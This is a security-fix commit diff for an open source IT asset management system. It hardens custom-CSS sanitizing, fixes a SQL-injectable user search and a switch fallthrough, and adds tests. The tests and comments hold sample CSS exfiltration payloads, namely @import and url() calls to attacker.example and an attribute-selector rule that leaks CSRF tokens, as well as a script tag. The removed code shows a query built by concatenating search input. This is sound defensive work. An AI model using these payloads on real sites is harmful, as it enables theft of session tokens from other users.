A free open source IT asset/license management system
Fixed FD-56789 -sanitizing custom CSS
sniped26d71688359
diff --git a/app/Http/Controllers/Api/AssetsController.php b/app/Http/Controllers/Api/AssetsController.phpindex 6f73ff35c1..24bc2e86cf 100644--- a/app/Http/Controllers/Api/AssetsController.php+++ b/app/Http/Controllers/Api/AssetsController.php@@ -413,6 +413,7 @@ class AssetsController extends Controllerbreak;case 'location':$assets->OrderLocation($order);+ break;case 'rtd_location':$assets->OrderRtdLocation($order);break;diff --git a/app/Models/Setting.php b/app/Models/Setting.phpindex 94aeaf0e95..9bcade4d69 100755--- a/app/Models/Setting.php+++ b/app/Models/Setting.php@@ -244,12 +244,44 @@ class Setting extends Modelpublic function show_custom_css(): string{$custom_css = self::getSettings()->custom_css;- $custom_css = e($custom_css);- // Needed for modifying the bootstrap nav :(- $custom_css = str_ireplace('script', 'SCRIPTS-NOT-ALLOWED-HERE', $custom_css);- $custom_css = str_replace('>', '>', $custom_css);- // Allow String output (needs quotes)- $custom_css = str_replace('"', '"', $custom_css);+ if ($custom_css === null || $custom_css === '') {+ return '';+ }++ // Superuser-planted CSS renders inside <style> on every layout for+ // every other superuser, so the sanitize step has to hold up as a+ // CSS filter, not just an HTML filter. Two abuse primitives to+ // shut down:+ //+ // @import url("https://attacker.example/x.css") lets the planter+ // load an unrestricted external stylesheet, which can then use+ // attribute-selector rules (input[name="_token"][value^="a"]{...})+ // to exfiltrate CSRF tokens character by character on every page+ // load.+ //+ // background: url("https://attacker.example/?t=...") reaches the+ // same primitive without @import as long as the value is any+ // absolute or protocol-relative URL. Same-origin relative paths+ // under /uploads/ etc. are fine for legit branding assets.+ //+ // strip_tags belt-and-braces guards against injection reaching a+ // context that treats < as an HTML boundary. The old encode-then-+ // selectively-decode chain silently undid its own work on > and "+ // and did not touch either @import or url(), so it's gone.+ $custom_css = strip_tags($custom_css);+ $custom_css = preg_replace('/@import\s+[^;]*;?/i', '', $custom_css);+ $custom_css = preg_replace_callback(+ '/\burl\s*\(\s*([^)]*)\)/i',+ function (array $match): string {+ $value = trim($match[1], " \t\n\r\"'");+ if ($value === '' || preg_match('#^(https?:)?//|^data:|^javascript:|^vbscript:#i', $value)) {+ return '';+ }++ return $match[0];+ },+ $custom_css,+ );return $custom_css;}diff --git a/app/Models/User.php b/app/Models/User.phpindex 50a463a066..d6b6d4bfde 100644--- a/app/Models/User.php+++ b/app/Models/User.php@@ -1744,7 +1744,7 @@ class User extends SnipeModel implements AuthenticatableContract, AuthorizableCo->orWhere('users.employee_num', 'LIKE', '%'.$search.'%')->orWhere('users.username', 'LIKE', '%'.$search.'%')->orWhere('users.display_name', 'LIKE', '%'.$search.'%')- ->orwhereRaw('CONCAT(users.first_name," ",users.last_name) LIKE \''.$search.'%\'');+ ->orWhereRaw('CONCAT(users.first_name," ",users.last_name) LIKE ?', [$search.'%']);}diff --git a/tests/Feature/Assets/Api/AssetIndexTest.php b/tests/Feature/Assets/Api/AssetIndexTest.phpindex 0eb7c1cf64..d1b98f0dcf 100644--- a/tests/Feature/Assets/Api/AssetIndexTest.php+++ b/tests/Feature/Assets/Api/AssetIndexTest.php@@ -5,6 +5,7 @@ namespace Tests\Feature\Assets\Api;use App\Models\Asset;use App\Models\Company;use App\Models\CustomField;+use App\Models\Location;use App\Models\User;use Carbon\Carbon;use Illuminate\Testing\Fluent\AssertableJson;@@ -218,4 +219,44 @@ class AssetIndexTest extends TestCase])->assertJson(fn (AssertableJson $json) => $json->has('rows', 3)->etc());}++ /**+ * Regression for a missing `break` in the API asset sort switch that+ * silently fell through from `case 'location'` into `case 'rtd_location'`,+ * applying both OrderLocation and OrderRtdLocation to the query so the+ * caller got a sort keyed on rtd_location first and location second when+ * they asked for location only. Verify sort=location alone controls the+ * result ordering.+ */+ public function test_sort_by_location_does_not_fall_through_to_rtd_location(): void+ {+ $zebraLocation = Location::factory()->create(['name' => 'Zebra Warehouse']);+ $aardvarkLocation = Location::factory()->create(['name' => 'Aardvark Warehouse']);++ // Cross the pairing between location and rtd_location so a fallthrough+ // that applied OrderRtdLocation would put the assets in a different+ // order than a clean OrderLocation.+ $assetLocatedAtAardvark = Asset::factory()->create([+ 'location_id' => $aardvarkLocation->id,+ 'rtd_location_id' => $zebraLocation->id,+ ]);+ $assetLocatedAtZebra = Asset::factory()->create([+ 'location_id' => $zebraLocation->id,+ 'rtd_location_id' => $aardvarkLocation->id,+ ]);++ $response = $this->actingAsForApi(User::factory()->superuser()->create())+ ->getJson(route('api.assets.index', [+ 'sort' => 'location',+ 'order' => 'asc',+ 'limit' => 20,+ ]))+ ->assertOk()+ ->json('rows');++ $this->assertSame(+ [$assetLocatedAtAardvark->id, $assetLocatedAtZebra->id],+ [$response[0]['id'], $response[1]['id']],+ );+ }}diff --git a/tests/Unit/Models/SettingCustomCssTest.php b/tests/Unit/Models/SettingCustomCssTest.phpnew file mode 100644index 0000000000..f770e91606--- /dev/null+++ b/tests/Unit/Models/SettingCustomCssTest.php@@ -0,0 +1,105 @@+<?php++namespace Tests\Unit\Models;++use App\Models\Setting;+use Tests\TestCase;++class SettingCustomCssTest extends TestCase+{+ private function withCustomCss(string $css): string+ {+ $settings = Setting::getSettings();+ $settings->custom_css = $css;+ $settings->save();++ return $settings->show_custom_css();+ }++ public function test_plain_css_passes_through_unchanged(): void+ {+ $out = $this->withCustomCss('.nav > li { color: #ff0000; }');++ $this->assertStringContainsString('.nav > li', $out);+ $this->assertStringContainsString('#ff0000', $out);+ }++ public function test_double_quoted_selector_survives(): void+ {+ $out = $this->withCustomCss('input[name="_token"] { display: none; }');++ $this->assertStringContainsString('name="_token"', $out);+ }++ public function test_import_at_rule_is_stripped(): void+ {+ $out = $this->withCustomCss('@import url("https://attacker.example/exfil.css");');++ $this->assertStringNotContainsString('@import', $out);+ $this->assertStringNotContainsString('attacker.example', $out);+ }++ public function test_import_at_rule_stripped_case_insensitive(): void+ {+ $out = $this->withCustomCss('@IMPORT "https://attacker.example/exfil.css";');++ $this->assertStringNotContainsString('IMPORT', $out);+ $this->assertStringNotContainsString('attacker.example', $out);+ }++ public function test_external_url_is_stripped(): void+ {+ $out = $this->withCustomCss('body { background: url("https://attacker.example/track.png"); }');++ $this->assertStringNotContainsString('attacker.example', $out);+ }++ public function test_protocol_relative_url_is_stripped(): void+ {+ $out = $this->withCustomCss('body { background: url(//attacker.example/track.png); }');++ $this->assertStringNotContainsString('attacker.example', $out);+ }++ public function test_data_uri_is_stripped(): void+ {+ $out = $this->withCustomCss('body { background: url(data:image/png;base64,AAAA); }');++ $this->assertStringNotContainsString('data:', $out);+ }++ public function test_relative_url_is_preserved(): void+ {+ $out = $this->withCustomCss('.brand { background: url("/uploads/logo.png"); }');++ $this->assertStringContainsString('/uploads/logo.png', $out);+ }++ public function test_html_tags_are_stripped(): void+ {+ $out = $this->withCustomCss('body { color: red; }<script>alert(1)</script>');++ // Inner text ("alert(1)") survives strip_tags but is harmless inside+ // <style>, since the CSS parser skips unrecognized tokens. What+ // matters is that no HTML tag boundary reaches the layout.+ $this->assertStringNotContainsString('<script', $out);+ $this->assertStringNotContainsString('</script', $out);+ $this->assertStringNotContainsString('<', $out);+ }++ public function test_attribute_selector_csrf_exfil_payload_is_neutered(): void+ {+ $payload = 'input[name="_token"][value^="a"] { background: url("https://attacker.example/?t=a"); }';++ $out = $this->withCustomCss($payload);++ $this->assertStringNotContainsString('attacker.example', $out);+ }++ public function test_empty_custom_css_returns_empty_string(): void+ {+ $out = $this->withCustomCss('');++ $this->assertSame('', $out);+ }+}